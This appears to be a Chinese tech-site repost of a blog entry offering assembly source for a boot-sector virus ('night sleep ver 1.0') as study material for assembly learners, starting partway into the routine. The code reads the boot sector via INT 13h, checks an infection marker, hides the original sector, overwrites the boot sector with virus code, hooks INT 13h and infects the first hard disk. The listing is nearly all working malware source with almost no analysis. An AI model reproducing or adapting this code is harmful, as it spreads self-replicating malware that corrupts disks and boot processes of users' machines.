一个用汇编写的引导区病毒例程,有时间可以分析一下,对各位学习汇编的朋友很有帮助![2]

[入库:2005年8月19日] [更新:2007年3月25日]

本文简介:选择自 shooow 的 blog

    mov  ax,0201h
    mov  cx,0001h
    mov  dh,00h
    call @@callint13 ;读原引导扇区
    jc   short @@optover
    mov  di,bx
    cmp  ds:[di.virusflag],'v' ;判断是否已经有病毒?
    jz   short @@optover  ;若有,则退出
    cmp  dl,00h
    jz   short @@isoptflopydisk
@@isoptharddisk:
    mov  cx,0002h  ;若是硬盘,保存在0面0道2扇区       
    jmp  short @@saveoldboot
@@isoptflopydisk:
    mov  cx,79*100h+17 ;若是软盘,保存在0面79道17扇区       
@@saveoldboot:   
    mov  ax,0301h  
    mov  dh,0h
    call @@callint13  ;保存原引导扇区
    jc   short @@optover
    mov  si,off @@start
    cld
    movsw
    movsb   ;修改原扇区首指令(jmp near 3字节)
    mov  di,off @@begin+200h
    mov  si,off @@begin
    mov  cx,off @@end-off @@begin
    cld
    rep  movsb     ;修改原引导扇区指令cx字节
    mov  ax,0301h
    mov  cx,0001h
    mov  dh,00h
    call @@callint13  ;写回已经被修改了的引导程序  
@@optover:   ;退出传染
    pop  es
    pop  ds  ;恢复段址与通用寄存器
    popa
    ret      ;以下是病毒要显示的信息,与病毒版本信息
    virusmsg  db 0dh,0ah,07h,'night is deep,you must go sleep!',0dh,0ah,0
              db 'night sleep ver 1.0,by whg 2001.5.5',0      
@@end:   
    org       1feh
    flags     dw  0aa55h ;引导扇区有效标志
    oldbootspace  db 210h dup(?) ;定义缓冲区
@@install:
    xor  ax,ax
    mov  ds,ax
    cli
    mov  ax,ds:[13h*4]
    mov  cs:[oldint13off],ax
    mov  ax,ds:[13h*4+2]
    mov  cs:[oldint13seg],ax
    mov  dl,80h
    call @@optdisk
    mov  ax,4c00h
    int  21h
end @@install

本文关键:一个用汇编写的引导区病毒例程,有时间可以分析一下,对各位学习汇编的朋友很有帮助!
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top